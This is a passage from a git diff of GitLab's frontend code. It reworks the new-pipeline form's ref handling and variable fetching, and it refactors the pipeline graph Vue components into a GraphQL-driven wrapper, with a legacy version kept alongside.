+ if (!this.form[this.refFullName]) {
+ this.fetchConfigVariables(this.refFullName || this.refShortName)
.then(({ descriptions, params }) => {
- Vue.set(this.form, refValue, {
+ Vue.set(this.form, this.refFullName, {
variables: [],
descriptions,
});
// Add default variables from yml
- this.setVariableParams(refValue, VARIABLE_TYPE, params);
+ this.setVariableParams(this.refFullName, VARIABLE_TYPE, params);
})
.catch(() => {
- Vue.set(this.form, refValue, {
+ Vue.set(this.form, this.refFullName, {
variables: [],
descriptions: {},
});
@@ -188,20 +228,19 @@ export default {
.finally(() => {
// Add/update variables, e.g. from query string
if (this.variableParams) {
- this.setVariableParams(refValue, VARIABLE_TYPE, this.variableParams);
+ this.setVariableParams(this.refFullName, VARIABLE_TYPE, this.variableParams);
}
if (this.fileParams) {
- this.setVariableParams(refValue, FILE_TYPE, this.fileParams);
+ this.setVariableParams(this.refFullName, FILE_TYPE, this.fileParams);
}
// Adds empty var at the end of the form
- this.addEmptyVariable(refValue);
+ this.addEmptyVariable(this.refFullName);
});
}
},
-
isSelected(ref) {
- return ref === this.refValue;
+ return ref.fullName === this.refValue.fullName;
},
removeVariable(index) {
this.variables.splice(index, 1);
@@ -209,34 +248,52 @@ export default {
canRemove(index) {
return index < this.variables.length - 1;
},
-
fetchConfigVariables(refValue) {
- if (gon?.features?.newPipelineFormPrefilledVars) {
- this.isLoading = true;
+ if (!gon?.features?.newPipelineFormPrefilledVars) {
+ return Promise.resolve({ params: {}, descriptions: {} });
+ }
+
+ this.isLoading = true;
- return axios
+ return backOff((next, stop) => {
+ axios
.get(this.configVariablesPath, {
params: {
sha: refValue,
},
})
- .then(({ data }) => {
- const params = {};
- const descriptions = {};
+ .then(({ data, status }) => {
+ if (status === httpStatusCodes.NO_CONTENT) {
+ next();
+ } else {
+ this.isLoading = false;
+ stop(data);
+ }
+ })
+ .catch(error => {
+ stop(error);
+ });
+ }, CONFIG_VARIABLES_TIMEOUT)
+ .then(data => {
+ const params = {};
+ const descriptions = {};
- Object.entries(data).forEach(([key, { value, description }]) => {
- if (description !== null) {
- params[key] = value;
- descriptions[key] = description;
- }
- });
+ Object.entries(data).forEach(([key, { value, description }]) => {
+ if (description !== null) {
+ params[key] = value;
+ descriptions[key] = description;
+ }
+ });
- this.isLoading = false;
+ return { params, descriptions };
+ })
+ .catch(error => {
+ this.isLoading = false;
- return { params, descriptions };
- });
- }
- return Promise.resolve({ params: {}, descriptions: {} });
+ Sentry.captureException(error);
+
+ return { params: {}, descriptions: {} };
+ });
},
createPipeline() {
const filteredVariables = this.variables
@@ -249,7 +306,9 @@ export default {
return axios
.post(this.pipelinesPath, {
- ref: this.refValue,
+ // send shortName as fall back for query params
+ // https://gitlab.com/gitlab-org/gitlab/-/issues/287815
+ ref: this.refValue.fullName || this.refShortName,
variables_attributes: filteredVariables,
})
.then(({ data }) => {
@@ -307,20 +366,29 @@ export default {
</details>
</gl-alert>
<gl-form-group :label="s__('Pipeline|Run for')">
- <gl-dropdown :text="refValue" block>
- <gl-search-box-by-type
- v-model.trim="searchTerm"
- :placeholder="__('Search branches and tags')"
- />
+ <gl-dropdown :text="refShortName" block>
+ <gl-search-box-by-type v-model.trim="searchTerm" :placeholder="__('Search refs')" />
+ <gl-dropdown-section-header>{{ __('Branches') }}</gl-dropdown-section-header>
+ <gl-dropdown-item
+ v-for="branch in filteredBranches"
+ :key="branch.fullName"
+ class="gl-font-monospace"
+ is-check-item
+ :is-checked="isSelected(branch)"
+ @click="setRefSelected(branch)"
+ >
+ {{ branch.shortName }}
+ </gl-dropdown-item>
+ <gl-dropdown-section-header v-if="hasTags">{{ __('Tags') }}</gl-dropdown-section-header>
<gl-dropdown-item
- v-for="(ref, index) in filteredRefs"
- :key="index"
+ v-for="tag in filteredTags"
+ :key="tag.fullName"
class="gl-font-monospace"
is-check-item
- :is-checked="isSelected(ref)"
- @click="setRefSelected(ref)"
+ :is-checked="isSelected(tag)"
+ @click="setRefSelected(tag)"
>
- {{ ref }}
+ {{ tag.shortName }}
</gl-dropdown-item>
</gl-dropdown>
@@ -353,7 +421,7 @@ export default {
:placeholder="s__('CiVariables|Input variable key')"
:class="$options.formElementClasses"
data-testid="pipeline-form-ci-variable-key"
- @change="addEmptyVariable(refValue)"
+ @change="addEmptyVariable(refFullName)"
/>
<gl-form-input
v-model="variable.value"
diff --git a/app/assets/javascripts/pipeline_new/constants.js b/app/assets/javascripts/pipeline_new/constants.js
index b4ab1143f60..004bbe7daf4 100644
--- a/app/assets/javascripts/pipeline_new/constants.js
+++ b/app/assets/javascripts/pipeline_new/constants.js
@@ -1,2 +1,5 @@
export const VARIABLE_TYPE = 'env_var';
export const FILE_TYPE = 'file';
+export const CONFIG_VARIABLES_TIMEOUT = 5000;
+export const BRANCH_REF_TYPE = 'branch';
+export const TAG_REF_TYPE = 'tag';
diff --git a/app/assets/javascripts/pipeline_new/index.js b/app/assets/javascripts/pipeline_new/index.js
index ff4f677654e..0b85184ec90 100644
--- a/app/assets/javascripts/pipeline_new/index.js
+++ b/app/assets/javascripts/pipeline_new/index.js
@@ -1,5 +1,6 @@
import Vue from 'vue';
import PipelineNewForm from './components/pipeline_new_form.vue';
+import formatRefs from './utils/format_refs';
export default () => {
const el = document.getElementById('js-new-pipeline');
@@ -7,17 +8,20 @@ export default () => {
projectId,
pipelinesPath,
configVariablesPath,
+ defaultBranch,
refParam,
varParam,
fileParam,
- refNames,
+ branchRefs,
+ tagRefs,
settingsLink,
maxWarnings,
} = el?.dataset;
const variableParams = JSON.parse(varParam);
const fileParams = JSON.parse(fileParam);
- const refs = JSON.parse(refNames);
+ const branches = formatRefs(JSON.parse(branchRefs), 'branch');
+ const tags = formatRefs(JSON.parse(tagRefs), 'tag');
return new Vue({
el,
@@ -27,10 +31,12 @@ export default () => {
projectId,
pipelinesPath,
configVariablesPath,
+ defaultBranch,
refParam,
variableParams,
fileParams,
- refs,
+ branches,
+ tags,
settingsLink,
maxWarnings: Number(maxWarnings),
},
diff --git a/app/assets/javascripts/pipeline_new/utils/format_refs.js b/app/assets/javascripts/pipeline_new/utils/format_refs.js
new file mode 100644
index 00000000000..e217cd25413
--- /dev/null
+++ b/app/assets/javascripts/pipeline_new/utils/format_refs.js
@@ -0,0 +1,18 @@
+import { BRANCH_REF_TYPE, TAG_REF_TYPE } from '../constants';
+
+export default (refs, type) => {
+ let fullName;
+
+ return refs.map(ref => {
+ if (type === BRANCH_REF_TYPE) {
+ fullName = `refs/heads/${ref}`;
+ } else if (type === TAG_REF_TYPE) {
+ fullName = `refs/tags/${ref}`;
+ }
+
+ return {
+ shortName: ref,
+ fullName,
+ };
+ });
+};
diff --git a/app/assets/javascripts/pipelines/components/graph/accessors.js b/app/assets/javascripts/pipelines/components/graph/accessors.js
new file mode 100644
index 00000000000..6ece855bcd8
--- /dev/null
+++ b/app/assets/javascripts/pipelines/components/graph/accessors.js
@@ -0,0 +1,25 @@
+import { get } from 'lodash';
+import { REST, GRAPHQL } from './constants';
+
+const accessors = {
+ [REST]: {
+ detailsPath: 'details_path',
+ groupId: 'id',
+ hasDetails: 'has_details',
+ pipelineStatus: ['details', 'status'],
+ sourceJob: ['source_job', 'name'],
+ },
+ [GRAPHQL]: {
+ detailsPath: 'detailsPath',
+ groupId: 'name',
+ hasDetails: 'hasDetails',
+ pipelineStatus: 'status',
+ sourceJob: ['sourceJob', 'name'],
+ },
+};
+
+const accessValue = (dataMethod, prop, item) => {
+ return get(item, accessors[dataMethod][prop]);
+};
+
+export { accessors, accessValue };
diff --git a/app/assets/javascripts/pipelines/components/graph/action_component.vue b/app/assets/javascripts/pipelines/components/graph/action_component.vue
index a580ee11627..4e9b21a5c55 100644
--- a/app/assets/javascripts/pipelines/components/graph/action_component.vue
+++ b/app/assets/javascripts/pipelines/components/graph/action_component.vue
@@ -87,10 +87,10 @@ export default {
:title="tooltipText"
:class="cssClass"
:disabled="isDisabled"
- class="js-ci-action ci-action-icon-container ci-action-icon-wrapper gl-display-flex gl-align-items-center gl-justify-content-center"
+ class="js-ci-action gl-ci-action-icon-container ci-action-icon-container ci-action-icon-wrapper gl-display-flex gl-align-items-center gl-justify-content-center"
@click.stop="onClickAction"
>
<gl-loading-icon v-if="isLoading" class="js-action-icon-loading" />
- <gl-icon v-else :name="actionIcon" class="gl-mr-0!" />
+ <gl-icon v-else :name="actionIcon" class="gl-mr-0!" :aria-label="actionIcon" />
</gl-button>
</template>
diff --git a/app/assets/javascripts/pipelines/components/graph/constants.js b/app/assets/javascripts/pipelines/components/graph/constants.js
index ba1922b6dae..6f0deccfef6 100644
--- a/app/assets/javascripts/pipelines/components/graph/constants.js
+++ b/app/assets/javascripts/pipelines/components/graph/constants.js
@@ -1,3 +1,6 @@
export const DOWNSTREAM = 'downstream';
export const MAIN = 'main';
export const UPSTREAM = 'upstream';
+
+export const REST = 'rest';
+export const GRAPHQL = 'graphql';
diff --git a/app/assets/javascripts/pipelines/components/graph/graph_component.vue b/app/assets/javascripts/pipelines/components/graph/graph_component.vue
index 16ce279a591..67b2ed3b596 100644
--- a/app/assets/javascripts/pipelines/components/graph/graph_component.vue
+++ b/app/assets/javascripts/pipelines/components/graph/graph_component.vue
@@ -1,35 +1,23 @@
<script>
-import { escape, capitalize } from 'lodash';
-import { GlLoadingIcon } from '@gitlab/ui';
-import StageColumnComponent from './stage_column_component.vue';
-import GraphWidthMixin from '../../mixins/graph_width_mixin';
+import LinkedGraphWrapper from '../graph_shared/linked_graph_wrapper.vue';
import LinkedPipelinesColumn from './linked_pipelines_column.vue';
-import GraphBundleMixin from '../../mixins/graph_pipeline_bundle_mixin';
-import { UPSTREAM, DOWNSTREAM, MAIN } from './constants';
+import StageColumnComponent from './stage_column_component.vue';
+import { DOWNSTREAM, MAIN, UPSTREAM } from './constants';
export default {
name: 'PipelineGraph',
components: {
- StageColumnComponent,
- GlLoadingIcon,
+ LinkedGraphWrapper,
LinkedPipelinesColumn,
+ StageColumnComponent,
},
- mixins: [GraphWidthMixin, GraphBundleMixin],
props: {
- isLoading: {
- type: Boolean,
- required: true,
- },
- pipeline: {
- type: Object,
- required: true,
- },
isLinkedPipeline: {
type: Boolean,
required: false,
default: false,
},
- mediator: {
+ pipeline: {
type: Object,
required: true,
},
@@ -39,12 +27,13 @@ export default {
default: MAIN,
},
},
- upstream: UPSTREAM,
- downstream: DOWNSTREAM,
+ pipelineTypeConstants: {
+ DOWNSTREAM,
+ UPSTREAM,
+ },
data() {
return {
- downstreamMarginTop: null,
- jobName: null,
+ hoveredJobName: '',
pipelineExpanded: {
jobName: '',
expanded: false,
@@ -52,219 +41,86 @@ export default {
};
},
computed: {
+ downstreamPipelines() {
+ return this.hasDownstreamPipelines ? this.pipeline.downstream : [];
+ },
graph() {
- return this.pipeline.details?.stages;
+ return this.pipeline.stages;
},
- hasUpstream() {
- return (
- this.type !== this.$options.downstream &&
- this.upstreamPipelines &&
- this.pipeline.triggered_by !== null
- );
+ hasDownstreamPipelines() {
+ return Boolean(this.pipeline?.downstream?.length > 0);
},
- upstreamPipelines() {
- return this.pipeline.triggered_by;
+ hasUpstreamPipelines() {
+ return Boolean(this.pipeline?.upstream?.length > 0);
},
- hasDownstream() {
+ // The two show checks prevent upstream / downstream from showing redundant linked columns
+ showDownstreamPipelines() {
return (
- this.type !== this.$options.upstream &&
- this.downstreamPipelines &&
- this.pipeline.triggered.length > 0
+ this.hasDownstreamPipelines && this.type !== this.$options.pipelineTypeConstants.UPSTREAM
);
},
- downstreamPipelines() {
- return this.pipeline.triggered;
- },
- expandedUpstream() {
+ showUpstreamPipelines() {
return (
- this.pipeline.triggered_by &&
- Array.isArray(this.pipeline.triggered_by) &&
- this.pipeline.triggered_by.find(el => el.isExpanded)
+ this.hasUpstreamPipelines && this.type !== this.$options.pipelineTypeConstants.DOWNSTREAM
);
},
- expandedDownstream() {
- return this.pipeline.triggered && this.pipeline.triggered.find(el => el.isExpanded);
- },
- pipelineTypeUpstream() {
- return this.type !== this.$options.downstream && this.expandedUpstream;
- },
- pipelineTypeDownstream() {
- return this.type !== this.$options.upstream && this.expandedDownstream;
- },
- pipelineProjectId() {
- return this.pipeline.project.id;
+ upstreamPipelines() {
+ return this.hasUpstreamPipelines ? this.pipeline.upstream : [];
},
},
methods: {
- capitalizeStageName(name) {
- const escapedName = escape(name);
- return capitalize(escapedName);
- },
- isFirstColumn(index) {
- return index === 0;
- },
- stageConnectorClass(index, stage) {
- let className;
-
- // If it's the first stage column and only has one job
- if (this.isFirstColumn(index) && stage.groups.length === 1) {
- className = 'no-margin';
- } else if (index > 0) {
- // If it is not the first column
- className = 'left-margin';
- }
-
- return className;
- },
- refreshPipelineGraph() {
- this.$emit('refreshPipelineGraph');
- },
- /**
- * CSS class is applied:
- * - if pipeline graph contains only one stage column component
- *
- * @param {number} index
- * @returns {boolean}
- */
- shouldAddRightMargin(index) {
- return !(index === this.graph.length - 1);
- },
- handleClickedDownstream(pipeline, clickedIndex, downstreamNode) {
- /**
- * Calculates the margin top of the clicked downstream pipeline by
- * subtracting the clicked downstream pipelines offsetTop by it's parent's
- * offsetTop and then subtracting 15
- */
- this.downstreamMarginTop = this.calculateMarginTop(downstreamNode, 15);
-
- /**
- * If the expanded trigger is defined and the id is different than the
- * pipeline we clicked, then it means we clicked on a sibling downstream link
- * and we want to reset the pipeline store. Triggering the reset without
- * this condition would mean not allowing downstreams of downstreams to expand
- */
- if (this.expandedDownstream?.id !== pipeline.id) {
- this.$emit('onResetDownstream', this.pipeline, pipeline);
- }
-
- this.$emit('onClickDownstreamPipeline', pipeline);
- },
- calculateMarginTop(downstreamNode, pixelDiff) {
- return `${downstreamNode.offsetTop - downstreamNode.offsetParent.offsetTop - pixelDiff}px`;
- },
- hasOnlyOneJob(stage) {
- return stage.groups.length === 1;
- },
- hasUpstreamColumn(index) {
- return index === 0 && this.hasUpstream;
- },
setJob(jobName) {
- this.jobName = jobName;
+ this.hoveredJobName = jobName;
},
- setPipelineExpanded(jobName, expanded) {
- if (expanded) {
- this.pipelineExpanded = {
- jobName,
- expanded,
- };
- } else {
- this.pipelineExpanded = {
- expanded,
- jobName: '',
- };
- }
+ togglePipelineExpanded(jobName, expanded) {
+ this.pipelineExpanded = {
+ expanded,
+ jobName: expanded ? jobName : '',
+ };
},
},
};
</script>
<template>
- <div class="build-content middle-block js-pipeline-graph">
+ <div class="js-pipeline-graph">
<div
- class="pipeline-visualization pipeline-graph"
- :class="{ 'pipeline-tab-content': !isLinkedPipeline }"
+ class="gl-pipeline-min-h gl-display-flex gl-position-relative gl-overflow-auto gl-bg-gray-10 gl-white-space-nowrap"
+ :class="{ 'gl-py-5': !isLinkedPipeline }"
>
- <div
- :style="{
- paddingLeft: `${graphLeftPadding}px`,
- paddingRight: `${graphRightPadding}px`,
- }"
- >
- <gl-loading-icon v-if="isLoading" class="m-auto" size="lg" />
-
- <pipeline-graph
- v-if="pipelineTypeUpstream"
- :type="$options.upstream"
- class="d-inline-block upstream-pipeline"
- :class="`js-upstream-pipeline-${expandedUpstream.id}`"
- :is-loading="false"
- :pipeline="expandedUpstream"
- :is-linked-pipeline="true"
- :mediator="mediator"
- @onClickUpstreamPipeline="clickUpstreamPipeline"
- @refreshPipelineGraph="requestRefreshPipelineGraph"
- />
-
- <linked-pipelines-column
- v-if="hasUpstream"
- :type="$options.upstream"
- :linked-pipelines="upstreamPipelines"
- :column-title="__('Upstream')"
- :project-id="pipelineProjectId"
- @linkedPipelineClick="$emit('onClickUpstreamPipeline', $event)"
- />
-
- <ul
- v-if="!isLoading"
- :class="{
- 'inline js-has-linked-pipelines': hasDownstream || hasUpstream,
- }"
- class="stage-column-list align-top"
- >
+ <linked-graph-wrapper>
+ <template #upstream>
+ <linked-pipelines-column
+ v-if="showUpstreamPipelines"
+ :linked-pipelines="upstreamPipelines"
+ :column-title="__('Upstream')"
+ :type="$options.pipelineTypeConstants.UPSTREAM"
+ @error="emit('error', errorType)"
+ />
+ </template>
+ <template #main>
<stage-column-component
- v-for="(stage, index) in graph"
+ v-for="stage in graph"
:key="stage.name"
- :class="{
- 'has-upstream gl-ml-11': hasUpstreamColumn(index),
- 'has-only-one-job': hasOnlyOneJob(stage),
- 'gl-mr-26': shouldAddRightMargin(index),
- }"
- :title="capitalizeStageName(stage.name)"
+ :title="stage.name"
:groups="stage.groups"
- :stage-connector-class="stageConnectorClass(index, stage)"
- :is-first-column="isFirstColumn(index)"
- :has-upstream="hasUpstream"
:action="stage.status.action"
- :job-hovered="jobName"
+ :job-hovered="hoveredJobName"
:pipeline-expanded="pipelineExpanded"
- @refreshPipelineGraph="refreshPipelineGraph"
+ @refreshPipelineGraph="$emit('refreshPipelineGraph')"
/>
- </ul>
-
- <linked-pipelines-column
- v-if="hasDownstream"
- :type="$options.downstream"
- :linked-pipelines="downstreamPipelines"
- :column-title="__('Downstream')"
- :project-id="pipelineProjectId"
- @linkedPipelineClick="handleClickedDownstream"
- @downstreamHovered="setJob"
- @pipelineExpandToggle="setPipelineExpanded"
- />
-
- <pipeline-graph
- v-if="pipelineTypeDownstream"
- :type="$options.downstream"
- class="d-inline-block"
- :class="`js-downstream-pipeline-${expandedDownstream.id}`"
- :is-loading="false"
- :pipeline="expandedDownstream"
- :is-linked-pipeline="true"
- :style="{ 'margin-top': downstreamMarginTop }"
- :mediator="mediator"
- @onClickDownstreamPipeline="clickDownstreamPipeline"
- @refreshPipelineGraph="requestRefreshPipelineGraph"
- />
- </div>
+ </template>
+ <template #downstream>
+ <linked-pipelines-column
+ v-if="showDownstreamPipelines"
+ :linked-pipelines="downstreamPipelines"
+ :column-title="__('Downstream')"
+ :type="$options.pipelineTypeConstants.DOWNSTREAM"
+ @downstreamHovered="setJob"
+ @pipelineExpandToggle="togglePipelineExpanded"
+ @error="emit('error', errorType)"
+ />
+ </template>
+ </linked-graph-wrapper>
</div>
</div>
</template>
diff --git a/app/assets/javascripts/pipelines/components/graph/graph_component_legacy.vue b/app/assets/javascripts/pipelines/components/graph/graph_component_legacy.vue
new file mode 100644
index 00000000000..9ca4dc1e27a
--- /dev/null
+++ b/app/assets/javascripts/pipelines/components/graph/graph_component_legacy.vue
@@ -0,0 +1,265 @@
+<script>
+import { escape, capitalize } from 'lodash';
+import { GlLoadingIcon } from '@gitlab/ui';
+import StageColumnComponentLegacy from './stage_column_component_legacy.vue';
+import LinkedPipelinesColumnLegacy from './linked_pipelines_column_legacy.vue';
+import GraphBundleMixin from '../../mixins/graph_pipeline_bundle_mixin';
+import { UPSTREAM, DOWNSTREAM, MAIN } from './constants';
+
+export default {
+ name: 'PipelineGraphLegacy',
+ components: {
+ GlLoadingIcon,
+ LinkedPipelinesColumnLegacy,
+ StageColumnComponentLegacy,
+ },
+ mixins: [GraphBundleMixin],
+ props: {
+ isLoading: {
+ type: Boolean,
+ required: true,
+ },
+ pipeline: {
+ type: Object,
+ required: true,
+ },
+ isLinkedPipeline: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ mediator: {
+ type: Object,
+ required: true,
+ },
+ type: {
+ type: String,
+ required: false,
+ default: MAIN,
+ },
+ },
+ upstream: UPSTREAM,
+ downstream: DOWNSTREAM,
+ data() {
+ return {
+ downstreamMarginTop: null,
+ jobName: null,
+ pipelineExpanded: {
+ jobName: '',
+ expanded: false,
+ },
+ };
+ },
+ computed: {
+ graph() {
+ return this.pipeline.details?.stages;
+ },
+ hasUpstream() {
+ return (
+ this.type !== this.$options.downstream &&
+ this.upstreamPipelines &&
+ this.pipeline.triggered_by !== null
+ );
+ },
+ upstreamPipelines() {
+ return this.pipeline.triggered_by;
+ },
+ hasDownstream() {
+ return (
+ this.type !== this.$options.upstream &&
+ this.downstreamPipelines &&
+ this.pipeline.triggered.length > 0
+ );
+ },
+ downstreamPipelines() {
+ return this.pipeline.triggered;
+ },
+ expandedUpstream() {
+ return (
+ this.pipeline.triggered_by &&
+ Array.isArray(this.pipeline.triggered_by) &&
+ this.pipeline.triggered_by.find(el => el.isExpanded)
+ );
+ },
+ expandedDownstream() {
+ return this.pipeline.triggered && this.pipeline.triggered.find(el => el.isExpanded);
+ },
+ pipelineTypeUpstream() {
+ return this.type !== this.$options.downstream && this.expandedUpstream;
+ },
+ pipelineTypeDownstream() {
+ return this.type !== this.$options.upstream && this.expandedDownstream;
+ },
+ pipelineProjectId() {
+ return this.pipeline.project.id;
+ },
+ },
+ methods: {
+ capitalizeStageName(name) {
+ const escapedName = escape(name);
+ return capitalize(escapedName);
+ },
+ isFirstColumn(index) {
+ return index === 0;
+ },
+ stageConnectorClass(index, stage) {
+ let className;
+
+ // If it's the first stage column and only has one job
+ if (this.isFirstColumn(index) && stage.groups.length === 1) {
+ className = 'no-margin';
+ } else if (index > 0) {
+ // If it is not the first column
+ className = 'left-margin';
+ }
+
+ return className;
+ },
+ refreshPipelineGraph() {
+ this.$emit('refreshPipelineGraph');
+ },
+ /**
+ * CSS class is applied:
+ * - if pipeline graph contains only one stage column component
+ *
+ * @param {number} index
+ * @returns {boolean}
+ */
+ shouldAddRightMargin(index) {
+ return !(index === this.graph.length - 1);
+ },
+ handleClickedDownstream(pipeline, clickedIndex, downstreamNode) {
+ /**
+ * Calculates the margin top of the clicked downstream pipeline by
+ * subtracting the clicked downstream pipelines offsetTop by it's parent's
+ * offsetTop and then subtracting 15
+ */
+ this.downstreamMarginTop = this.calculateMarginTop(downstreamNode, 15);
+
+ /**
+ * If the expanded trigger is defined and the id is different than the
+ * pipeline we clicked, then it means we clicked on a sibling downstream link
+ * and we want to reset the pipeline store. Triggering the reset without
+ * this condition would mean not allowing downstreams of downstreams to expand
+ */
+ if (this.expandedDownstream?.id !== pipeline.id) {
+ this.$emit('onResetDownstream', this.pipeline, pipeline);
+ }
+
+ this.$emit('onClickDownstreamPipeline', pipeline);
+ },
+ calculateMarginTop(downstreamNode, pixelDiff) {
+ return `${downstreamNode.offsetTop - downstreamNode.offsetParent.offsetTop - pixelDiff}px`;
+ },
+ hasOnlyOneJob(stage) {
+ return stage.groups.length === 1;
+ },
+ hasUpstreamColumn(index) {
+ return index === 0 && this.hasUpstream;
+ },
+ setJob(jobName) {
+ this.jobName = jobName;
+ },
+ setPipelineExpanded(jobName, expanded) {
+ if (expanded) {
+ this.pipelineExpanded = {
+ jobName,
+ expanded,
+ };
+ } else {
+ this.pipelineExpanded = {
+ expanded,
+ jobName: '',
+ };
+ }
+ },
+ },
+};
+</script>
+<template>
+ <div class="build-content middle-block js-pipeline-graph">
+ <div
+ class="pipeline-visualization pipeline-graph"
+ :class="{ 'pipeline-tab-content': !isLinkedPipeline }"
+ >
+ <div class="gl-w-full">
+ <div class="container-fluid container-limited">
+ <gl-loading-icon v-if="isLoading" class="m-auto" size="lg" />
+ <pipeline-graph-legacy
+ v-if="pipelineTypeUpstream"
+ :type="$options.upstream"
+ class="d-inline-block upstream-pipeline"
+ :class="`js-upstream-pipeline-${expandedUpstream.id}`"
+ :is-loading="false"
+ :pipeline="expandedUpstream"
+ :is-linked-pipeline="true"
+ :mediator="mediator"
+ @onClickUpstreamPipeline="clickUpstreamPipeline"
+ @refreshPipelineGraph="requestRefreshPipelineGraph"
+ />
+
+ <linked-pipelines-column-legacy
+ v-if="hasUpstream"
+ :type="$options.upstream"
+ :linked-pipelines="upstreamPipelines"
+ :column-title="__('Upstream')"
+ :project-id="pipelineProjectId"
+ @linkedPipelineClick="$emit('onClickUpstreamPipeline', $event)"
+ />
+
+ <ul
+ v-if="!isLoading"
+ :class="{
+ 'inline js-has-linked-pipelines': hasDownstream || hasUpstream,
+ }"
+ class="stage-column-list align-top"
+ >
+ <stage-column-component-legacy
+ v-for="(stage, index) in graph"
+ :key="stage.name"
+ :class="{
+ 'has-upstream gl-ml-11': hasUpstreamColumn(index),
+ 'has-only-one-job': hasOnlyOneJob(stage),
+ 'gl-mr-26': shouldAddRightMargin(index),
+ }"
+ :title="capitalizeStageName(stage.name)"
+ :groups="stage.groups"
+ :stage-connector-class="stageConnectorClass(index, stage)"
+ :is-first-column="isFirstColumn(index)"
+ :has-upstream="hasUpstream"
+ :action="stage.status.action"
+ :job-hovered="jobName"
+ :pipeline-expanded="pipelineExpanded"
+ @refreshPipelineGraph="refreshPipelineGraph"
+ />
+ </ul>
+
+ <linked-pipelines-column-legacy
+ v-if="hasDownstream"
+ :type="$options.downstream"
+ :linked-pipelines="downstreamPipelines"
+ :column-title="__('Downstream')"
+ :project-id="pipelineProjectId"
+ @linkedPipelineClick="handleClickedDownstream"
+ @downstreamHovered="setJob"
+ @pipelineExpandToggle="setPipelineExpanded"
+ />
+
+ <pipeline-graph-legacy
+ v-if="pipelineTypeDownstream"
+ :type="$options.downstream"
+ class="d-inline-block"
+ :class="`js-downstream-pipeline-${expandedDownstream.id}`"
+ :is-loading="false"
+ :pipeline="expandedDownstream"
+ :is-linked-pipeline="true"
+ :style="{ 'margin-top': downstreamMarginTop }"
+ :mediator="mediator"
+ @onClickDownstreamPipeline="clickDownstreamPipeline"
+ @refreshPipelineGraph="requestRefreshPipelineGraph"
+ />
+ </div>
+ </div>
+ </div>
+ </div>
+</template>
diff --git a/app/assets/javascripts/pipelines/components/graph/graph_component_wrapper.vue b/app/assets/javascripts/pipelines/components/graph/graph_component_wrapper.vue
new file mode 100644
index 00000000000..d98e3aad054
--- /dev/null
+++ b/app/assets/javascripts/pipelines/components/graph/graph_component_wrapper.vue
@@ -0,0 +1,106 @@
+<script>
+import { GlAlert, GlLoadingIcon } from '@gitlab/ui';
+import { __ } from '~/locale';
+import { DEFAULT, LOAD_FAILURE } from '../../constants';
+import getPipelineDetails from '../../graphql/queries/get_pipeline_details.query.graphql';
+import PipelineGraph from './graph_component.vue';
+import { unwrapPipelineData, toggleQueryPollingByVisibility } from './utils';
+
+export default {
+ name: 'PipelineGraphWrapper',
+ components: {
+ GlAlert,
+ GlLoadingIcon,
+ PipelineGraph,
+ },
+ inject: {
+ pipelineIid: {
+ default: '',
+ },
+ pipelineProjectPath: {
+ default: '',
+ },
+ },
+ data() {
+ return {
+ pipeline: null,
+ alertType: null,
+ showAlert: false,
+ };
+ },
+ errorTexts: {
+ [LOAD_FAILURE]: __('We are currently unable to fetch data for this pipeline.'),
+ [DEFAULT]: __('An unknown error occurred while loading this graph.'),
+ },
+ apollo: {
+ pipeline: {
+ query: getPipelineDetails,
+ pollInterval: 10000,
+ variables() {
+ return {
+ projectPath: this.pipelineProjectPath,
+ iid: this.pipelineIid,
+ };
+ },
+ update(data) {
+ return unwrapPipelineData(this.pipelineProjectPath, data);
+ },
+ error() {
+ this.reportFailure(LOAD_FAILURE);
+ },
+ },
+ },
+ computed: {
+ alert() {
+ switch (this.alertType) {
+ case LOAD_FAILURE:
+ return {
+ text: this.$options.errorTexts[LOAD_FAILURE],
+ variant: 'danger',
+ };
+ default:
+ return {
+ text: this.$options.errorTexts[DEFAULT],
+ variant: 'danger',
+ };
+ }
+ },
+ showLoadingIcon() {
+ /*
+ Shows the icon only when the graph is empty, not when it is is
+ being refetched, for instance, on action completion
+ */
+ return this.$apollo.queries.pipeline.loading && !this.pipeline;
+ },
+ },
+ mounted() {
+ toggleQueryPollingByVisibility(this.$apollo.queries.pipeline);
+ },
+ methods: {
+ hideAlert() {
+ this.showAlert = false;
+ },
+ refreshPipelineGraph() {
+ this.$apollo.queries.pipeline.refetch();
+ },
+ reportFailure(type) {
+ this.showAlert = true;
+ this.failureType = type;
+ },
+ },
+};
+</script>
+<template>
+ <div>
+ <gl-alert v-if="showAlert" :variant="alert.variant" @dismiss="hideAlert">
+ {{ alert.text }}
+ </gl-alert>
+ <gl-loading-icon v-if="showLoadingIcon" class="gl-mx-auto gl-my-4" size="lg" />
+ <pipeline-graph
+ v-if="pipeline"
+ :pipeline="pipeline"
+ @error="reportFailure"
+ @refreshPipelineGraph="refreshPipelineGraph"
+ />
+ </div>
+</template>
diff --git a/app/assets/javascripts/pipelines/components/graph/job_group_dropdown.vue b/app/assets/javascripts/pipelines/components/graph/job_group_dropdown.vue
index 49591a80752..203d6a12edd 100644
--- a/app/assets/javascripts/pipelines/components/graph/job_group_dropdown.vue
+++ b/app/assets/javascripts/pipelines/components/graph/job_group_dropdown.vue
@@ -44,17 +44,18 @@ export default {
type="button"
data-toggle="dropdown"
data-display="static"
- class="dropdown-menu-toggle build-content"
+ class="dropdown-menu-toggle build-content gl-build-content"
>
- <ci-icon :status="group.status" />
+ <div class="gl-display-flex gl-align-items-center gl-justify-content-space-between">
+ <span class="gl-display-flex gl-align-items-center gl-min-w-0">
+ <ci-icon :status="group.status" :size="24" />
+ <span class="gl-text-truncate mw-70p gl-pl-3">
+ {{ group.name }}
+ </span>
+ </span>
- <span
- class="gl-text-truncate mw-70p gl-pl-2 gl-display-inline-block gl-vertical-align-bottom"
- >
- {{ group.name }}
- </span>
-
- <span class="dropdown-counter-badge"> {{ group.size }} </span>
+ <span class="gl-font-weight-100 gl-font-size-lg"> {{ group.size }} </span>
+ </div>
</button>
<ul class="dropdown-menu big-pipeline-graph-dropdown-menu js-grouped-pipeline-dropdown">
diff --git a/app/assets/javascripts/pipelines/components/graph/job_item.vue b/app/assets/javascripts/pipelines/components/graph/job_item.vue
index 4ed0aae0d1e..93ebe02d4e8 100644
--- a/app/assets/javascripts/pipelines/components/graph/job_item.vue
+++ b/app/assets/javascripts/pipelines/components/graph/job_item.vue
@@ -4,6 +4,8 @@ import ActionComponent from './action_component.vue';
import JobNameComponent from './job_name_component.vue';
import { sprintf } from '~/locale';
import delayedJobMixin from '~/jobs/mixins/delayed_job_mixin';
+import { accessValue } from './accessors';
+import { REST } from './constants';
/**
* Renders the badge for the pipeline graph and the job's dropdown.
@@ -41,6 +43,11 @@ export default {
GlTooltip: GlTooltipDirective,
},
